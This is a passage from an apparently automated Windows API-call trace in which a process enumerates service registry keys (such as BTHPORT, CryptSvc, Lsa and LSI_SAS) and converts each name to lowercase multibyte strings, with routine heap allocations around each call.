cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.386] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0256.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.388] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0256.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0256.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0256.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0256.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0256.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0256.395] 